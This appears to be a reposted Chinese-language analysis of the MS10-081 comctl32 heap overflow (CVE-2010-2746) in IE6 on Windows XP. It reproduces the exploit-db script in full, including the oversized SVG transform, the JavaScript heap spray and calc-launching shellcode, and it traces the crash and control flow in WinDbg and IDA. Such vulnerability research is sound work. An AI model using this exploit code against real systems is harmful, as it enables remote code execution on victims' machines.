CVE-2010-2746分析 Microsoft Windows - Common Control Library (Comctl32) Heap Overflow (MS10-081)

來源:互聯網
上載者:User

標籤:ring   span   param   exp   cti   name   dtd   function   第三方   

相關連結:

    exploit-db:https://www.exploit-db.com/exploits/15963/

    微軟資訊安全諮詢:https://technet.microsoft.com/library/security/ms10-081

漏洞介紹:

    根據微軟官方說明,漏洞的原因是 在使用第三方可伸縮向量圖形 (SVG) 查看器時,Windows 公用控制項陳列庫Comctl32.dll 沒有正確處理某些訊息存在一個遠程執行代碼漏洞,且說明了是一個堆溢出漏洞。

環境介紹:

    (1) XP Professional sp 3          (2) Internet Explorer 6.0.2900.5512        (3) ruby1.9           (4) IE8及以下不支援svg,需要安裝SVGVIEW

漏洞重現:

    下載exploit-db提供下載的ruby指令碼。執行指令碼會監聽55555連接埠,訪問後會返回一個html頁面,包含了堆噴射的js和iframe嵌套svg,svg檔案中定義了一個矩形,這個矩形的 transform 屬性有一個異常的值 65535個"\x21",指令碼主要內容如下:

transform_name = "\x21" * 65535svg = <<-SVG<?xml version="1.0"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg"    xmlns:xlink="http://www.w3.org/1999/xlink">    <rect x="50" y="50" height="110" width="110"          style="fill: #ffffff"          transform="#{transform_name}(10) translate(30) rotate(45 50 50)"            >    </rect>    <text x="100" y="100">CLICK ME</text></svg>SVGhtml = <<-HTML<html>    <body>        <script>            <!--                function str_dup(str, length) {                    var result = str;                    while(result.length < length) {                        result += result;                    }                    return result.substr(result.length - length);                }                var shellcode = unescape("%u9000%u9090%u9090") +                                // msfpayload windows/exec CMD=calc.exe R | msfencode -t js_le -b "\x00"                                unescape("%u39ba%ue680%udb4f%u29dc%ub1c9%ud933%u2474%u58f4" +                                         "%u5031%u8313%u04c0%u5003%u6236%ub313%ueba0%u4cdc" +                                         "%u8c30%ua955%u9e01%ub902%u2e33%uef40%uc5bf%u0404" +                                         "%uab34%u2b80%u06fd%u02f7%ua6fe%uc837%ua83c%u13cb" +                                         "%u0a10%udbf5%u4b65%u0132%u1985%u4deb%u8e37%u1098" +                                         "%uaf8b%u1f4e%ud7b3%ue0eb%u6247%u30f5%uf9f7%ua8bd" +                                         "%ua57c%uc81d%ub551%u8362%u0ede%u1210%u5f36%u24d9" +                                         "%u0c76%u88e4%u4c7b%u2e20%u3b63%u4c5a%u3c1e%u2e99" +                                         "%uc9c4%u883c%u6a8f%u28e5%uec5c%u266e%u7a29%u2b28" +                                         "%uafac%u5742%u4e25%ud185%u757d%ub901%u1426%u6710" +                                         "%u2989%ucf42%u8c76%ue208%ub663%u6952%u3a72%ud4e9" +                                         "%u4474%u76f2%u751c%u1979%u8a5b%u5da8%uc093%uf4f1" +                                         "%u8d3b%u4563%u2e26%u8a5e%uad5e%u736b%uada5%u7619" +                                         "%u69e2%u0af1%u1c7b%ub9f5%u357c%u5c96%ud5ee%ufa77" +                                         "%u7c96%u0e88");                var base = str_dup(unescape("%u2100"), 0x800 - shellcode.length);                var arr = [];                for(var i = 0; i < 2000; i++) {                    arr[i] = document.createElement("a");                    arr[i].innerHTML = [base + shellcode].join("");                }            -->        </script>        <iframe width="100%" height="100%" src="poc.svg" marginheight="0" marginwidth="0"></iframe>    </body></html>HTML

     開啟IE,用windbg 附加後訪問 http://localhost:55555 ,會出現下面的介面,點擊CLICK ME,會運行 shellcode 彈出計算機,沒彈出來也是正常的由於溢出沒有覆蓋到預期的資料。

    由於是一個堆溢出漏洞,所以開啟hpa來定位溢出的代碼位置。

    當滑鼠經過內容時,在 comctl32 模組發生了記憶體訪問異常。將cx寫入edx時發生異常,cx的值為之前的異常屬性值字元“0x21”。

    在IDA中定位到異常函數 comctl32!StringCopyWorkerW,這裡調用的並不是system32下的comctl32.dll而是WinSxS目錄,該目錄用於存放各個不同版本的系統組件。具體路徑要通過 lmm comctl32 v 命令來查看 ,該函數複製指定個數的字元到目的地址。

    查看函數呼叫堆疊,可以看到從 0x0C92AFE8 處剩餘0xFFF2 個字元要到 0x0BB6AFE4 處。

    目的堆地址的大小隻有 0x20,由於沒有限制複製的大小所以發生溢出。

    源地址 是屬性值中65535個字元"0x21"

    繼續確定目的地址和大小的來源。查看上層函數 comctl32!SBGetText ,用IDA F5反組譯碼後發現都來自於上層函數 comctl32!StatusWndProc。

    根據呼叫堆疊提供的返回地址繼續定位到 comctl32!StatusWndProc ,參數4為 0x10000,參數3是 lParam 是一個大小為0x20的堆地址。

    繼續瞭解一下shellcode的執行流程,關閉hpa。將shellcode的首位元組改為0xCC,int 3中斷來定位流程,重啟ruby指令碼。

    重新調試,這裡可能需要不斷嘗試,成功斷下後,為虛擬機器做個快照,便於調試。

    查看函數呼叫堆疊,查看當前eip的返回地址為0x7E278A8A

    定位返回地址之前的代碼,可知由call [eax+0E0h] 執行shellcode。

    在IDA中定位mshtml!CServer::WndProc,

    此時esi已經被覆蓋為0x00210021,    

    重新調試下斷 mshtml!CServer::WndProc 瞭解esi未覆蓋前的資料,覆蓋前為CDoc對象,在此處調用虛函數CDoc::OnWindowMessage

 

    

CVE-2010-2746分析 Microsoft Windows - Common Control Library (Comctl32) Heap Overflow (MS10-081)

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.